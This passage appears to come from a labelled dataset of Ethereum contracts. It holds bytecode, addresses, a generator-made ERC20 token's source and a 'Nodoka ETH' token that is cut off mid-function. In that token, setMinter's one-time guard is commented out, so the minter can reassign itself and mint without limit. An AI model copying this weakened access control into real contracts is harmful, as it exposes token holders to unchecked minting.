1278e565b60006001600160a01b038216610f455760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107bf565b6001600160a01b03821660009081526001602052604090206106bf90611909565b600b546001600160a01b03163314610f905760405162461bcd60e51b81526004016107bf90612651565b610f9a6000611913565b565b60606000610fa983610eda565b905080610fc6576040805160008082526020820190925290610e65565b60008167ffffffffffffffff811115610fef57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611018578160200160208202803683370190505b50905060005b82811015610e65576110308582610ab6565b82828151811061105057634e487b7160e01b600052603260045260246000fd5b602090810291909101015280611065816127c3565b91505061101e565b50919050565b600b546001600160a01b0316331461109d5760405162461bcd60e51b81526004016107bf90612651565b60405173a64b407d4363e203f682f7d95eb13241b039e580904780156108fc02916000818181858888f19350505050610f9a5760405162461bcd60e51b815260206004820152601560248201527415da5d1a191c985dc8155b9cdd58d8d95cdcd99d5b605a1b60448201526064016107bf565b6060600880546106d49061278e565b6001600160a01b0382163314156111785760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107bf565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600f5460009081906001600160a01b0316638462151c336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160006040518083038186803b15801561123a57600080fd5b505afa15801561124e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526112769190810190612374565b90506000805b82518110156112eb57600e60008483815181106112a957634e487b7160e01b600052603260045260246000fd5b60209081029190910181015182528101919091526040016000205460ff166112d957816112d5816127c3565b9250505b806112e3816127c3565b91505061127c565b5092915050565b6112fc3383611656565b6113185760405162461bcd60e51b81526004016107bf90612686565b61132484848484611965565b50505050565b6060611334610a74565b82106113755760405162461bcd60e51b815260206004820152601060248201526f2a37b5b2b7103737ba1032bc34b9ba1760811b60448201526064016107bf565b6000828152600960205260408120805461138e9061278e565b80601f01602080910402602001604051908101604052809291908181526020018280546113ba9061278e565b80156114075780601f106113dc57610100808354040283529160200191611407565b820191906000526020600020905b8154815290600101906020018083116113ea57829003601f168201915b5050505050905060008151111561141e5792915050565b611426610ecb565b61142f84611998565b60405160200161144092919061252c565b604051602081830303815290604052915050919050565b600b546001600160a01b031633146114815760405162461bcd60e51b81526004016107bf90612651565b600d805460ff19811660ff90911615179055565b600b546001600160a01b031633146114bf5760405162461bcd60e51b81526004016107bf90612651565b6001600160a01b0381166115245760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107bf565b610ea081611913565b60006106bf600283611ab2565b600081815260056020526040902080546001600160a01b0319166001600160a01b038416908117909155819061156f82610ea3565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6115b18261152d565b6116125760405162461bcd60e51b815260206004820152602c60248201527f4552433732314d657461646174613a2055524920736574206f66206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107bf565b600082815260096020908152604090912082516108f592840190612075565b61092e828260405180602001604052806000815250611abe565b60006106bf82611af1565b60006116618261152d565b6116c25760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107bf565b60006116cd83610ea3565b9050806001600160a01b0316846001600160a01b031614806117085750836001600160a01b03166116fd84610757565b6001600160a01b0316145b8061173857506001600160a01b0380821660009081526006602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661175382610ea3565b6001600160a01b0316146117bb5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016107bf565b6001600160a01b03821661181d5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107bf565b61182860008261153a565b6001600160a01b038316600090815260016020526040902061184a9082611afc565b506001600160a01b038216600090815260016020526040902061186d9082611b08565b5061187a60028284611b14565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000610ad88383611b2a565b60008080806118dc8686611b62565b9097909650945050505050565b805161092e90600a906020840190612075565b6000611738848484611b8d565b60006106bf825490565b600b80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611970848484611740565b61197c84848484611bd9565b6113245760405162461bcd60e51b81526004016107bf906125ff565b6060816119bc5750506040805180820190915260018152600360fc1b602082015290565b8160005b81156119e657806119d0816127c3565b91506119df9050600a83612720565b91506119c0565b60008167ffffffffffffffff811115611a0f57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611a39576020820181803683370190505b5090505b841561173857611a4e600183612734565b9150611a5b600a866127de565b611a66906030612708565b60f81b818381518110611a8957634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350611aab600a86612720565b9450611a3d565b6000610ad88383611caa565b611ac88383611cc9565b611ad56000848484611bd9565b6108f55760405162461bcd60e51b81526004016107bf906125ff565b60006106bf82611909565b6000610ad88383611de1565b6000610ad88383611efe565b600061173884846001600160a01b038516611f4d565b6000826000018281548110611b4f57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b60008080611b7085856118c1565b600081815260029690960160205260409095205494959350505050565b600082815260028401602052604081205480151580611bb15750611bb18585611caa565b8390611bd05760405162461bcd60e51b81526004016107bf91906125ec565b50949350505050565b60006001600160a01b0384163b611bf257506001611738565b6000611c73630a85bd0160e11b33888787604051602401611c16949392919061256b565b604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b03838183161783525050505060405180606001604052806032815260200161284b603291396001600160a01b0388169190611f6a565b9050600081806020019051810190611c8b9190612438565b6001600160e01b031916630a85bd0160e11b1492505050949350505050565b6000610ad8838360008181526001830160205260408120541515610ad8565b6001600160a01b038216611d1f5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107bf565b611d288161152d565b15611d755760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107bf565b6001600160a01b0382166000908152600160205260409020611d979082611b08565b50611da460028284611b14565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60008181526001830160205260408120548015611ef4576000611e05600183612734565b8554909150600090611e1990600190612734565b9050818114611e9a576000866000018281548110611e4757634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080876000018481548110611e7857634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600188019052604090208390555b8554869080611eb957634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506106bf565b60009150506106bf565b6000818152600183016020526040812054611f45575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556106bf565b5060006106bf565b600082815260028401602052604081208290556117388484611b08565b6060611738848460008585843b611fc35760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016107bf565b600080866001600160a01b03168587604051611fdf9190612510565b60006040518083038185875af1925050503d806000811461201c576040519150601f19603f3d011682016040523d82523d6000602084013e612021565b606091505b509150915061203182828661203c565b979650505050505050565b6060831561204b575081610ad8565b82511561205b5782518084602001fd5b8160405162461bcd60e51b81526004016107bf91906125ec565b8280546120819061278e565b90600052602060002090601f0160209004810192826120a357600085556120e9565b82601f106120bc57805160ff19168380011785556120e9565b828001600101855582156120e9579182015b828111156120e95782518255916020019190600101906120ce565b506120f59291506120f9565b5090565b5b808211156120f557600081556001016120fa565b600067ffffffffffffffff8311156121285761212861281e565b61213b601f8401601f19166020016126d7565b905082815283838301111561214f57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461217d57600080fd5b919050565b600082601f830112612192578081fd5b610ad88383356020850161210e565b6000602082840312156121b2578081fd5b610ad882612166565b600080604083850312156121cd578081fd5b6121d683612166565b91506121e460208401612166565b90509250929050565b600080600060608486031215612201578081fd5b61220a84612166565b925061221860208501612166565b9150604084013590509250925092565b6000806000806080858703121561223d578081fd5b61224685612166565b935061225460208601612166565b925060408501359150606085013567ffffffffffffffff811115612276578182fd5b8501601f81018713612286578182fd5b6122958782356020840161210e565b91505092959194509250565b600080604083850312156122b3578182fd5b6122bc83612166565b9150602083013580151581146122d0578182fd5b809150509250929050565b600080604083850312156122ed578182fd5b6122f683612166565b946020939093013593505050565b60008060208385031215612316578182fd5b823567ffffffffffffffff8082111561232d578384fd5b818501915085601f830112612340578384fd5b81358181111561234e578485fd5b8660208260051b8501011115612362578485fd5b60209290920196919550909350505050565b60006020808385031215612386578182fd5b825167ffffffffffffffff8082111561239d578384fd5b818501915085601f8301126123b0578384fd5b8151818111156123c2576123c261281e565b8060051b91506123d38483016126d7565b8181528481019084860184860187018a10156123ed578788fd5b8795505b8386101561240f5780518352600195909501949186019186016123f1565b5098975050505050505050565b60006020828403121561242d578081fd5b8135610ad881612834565b600060208284031215612449578081fd5b8151610ad881612834565b600060208284031215612465578081fd5b813567ffffffffffffffff81111561247b578182fd5b61173884828501612182565b600060208284031215612498578081fd5b5035919050565b600080604083850312156124b1578182fd5b82359150602083013567ffffffffffffffff8111156124ce578182fd5b6124da85828601612182565b9150509250929050565b600081518084526124fc81602086016020860161274b565b601f01601f19169290920160200192915050565b6000825161252281846020870161274b565b9190910192915050565b6000835161253e81846020880161274b565b83519083019061255281836020880161274b565b64173539b7b760d91b9101908152600501949350505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061259e908301846124e4565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156125e0578351835292840192918401916001016125c4565b50909695505050505050565b602081526000610ad860208301846124e4565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff811182821017156127005761270061281e565b604052919050565b6000821982111561271b5761271b6127f2565b500190565b60008261272f5761272f612808565b500490565b600082821015612746576127466127f2565b500390565b60005b8381101561276657818101518382015260200161274e565b838111156113245750506000910152565b600081612786576127866127f2565b506000190190565b600181811c908216806127a257607f821691505b6020821081141561106d57634e487b7160e01b600052602260045260246000fd5b60006000198214156127d7576127d76127f2565b5060010190565b6000826127ed576127ed612808565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610ea057600080fdfe4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656ea264697066735822122000b715f5b94621eea961ffbd556e9ebb8d2c29cf0c4bab570efca7c9ec8d19b264736f6c63430008040033
[ 5, 12 ]
0xF2E2d46631Bb696C3128dD298c2340a2c5939bCe
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor(string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/HelloERC20.sol pragma solidity ^0.8.0; /** * @title HelloERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the HelloERC20 */ contract HelloERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.1.0") { constructor( string memory name_, string memory symbol_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "HelloERC20") { _mint(_msgSender(), 10000e18); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e9919061084a565b60405180910390f35b610105610100366004610820565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e4565b6102a4565b604051601281526020016100e9565b610105610157366004610820565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab366004610820565b6103cf565b6101056101be366004610820565b61046a565b6101196101d13660046107b1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108ce565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b7565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a90869061089f565b60606005805461020b906108ce565b60606040518060600160405280602f8152602001610920602f9139905090565b60606004805461020b906108ce565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b7565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b7565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061071990849061089f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a157600080fd5b6107aa82610773565b9392505050565b600080604083850312156107c457600080fd5b6107cd83610773565b91506107db60208401610773565b90509250929050565b6000806000606084860312156107f957600080fd5b61080284610773565b925061081060208501610773565b9150604084013590509250925092565b6000806040838503121561083357600080fd5b61083c83610773565b946020939093013593505050565b600060208083528351808285015260005b818110156108775785810183015185820160400152820161085b565b81811115610889576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108b2576108b2610909565b500190565b6000828210156108c9576108c9610909565b500390565b600181811c908216806108e257607f821691505b6020821081141561090357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a2646970667358221220185c29d084d2185dbff6d17cde8a634e85ba271fa57d814bb34819b8af56542664736f6c63430008050033
[ 38 ]
0xf2e51185caaded6c63d587943369f0b5df169344
pragma solidity ^0.6.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract MinterRole { bool private _initialized; address private _minter; constructor () internal { _initialized = false; _minter = msg.sender; } modifier onlyMinter() { require(isMinter(msg.sender), "Mintable: msg.sender does not have the Minter role"); _; } function isMinter(address _addr) public view returns (bool) { return (_addr == _minter); } function setMinter(address _addr) public onlyMinter { //require(!_initialized); _minter = _addr; _initialized = true; } } contract ERC20 is MinterRole { using SafeMath for uint256; string public constant name = "Nodoka ETH"; string public constant symbol = "NETH"; uint256 public constant decimals = 18; uint256 public totalSupply = 0; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() public { // Do nothing } function transfer(address _to, uint256 _value) external returns (bool) { require(_to != address(0), "Cannot send to zero address"); require(balances[msg.sender] >= _value, "Insufficient fund"); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) external view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) external returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function mint(address payable _to, uint256 _value) external onlyMinter returns (bool) { balances[_to] = balances[_to].add(_value); totalSupply = totalSupply.add(_value); emit Transfer(address(0), _to, 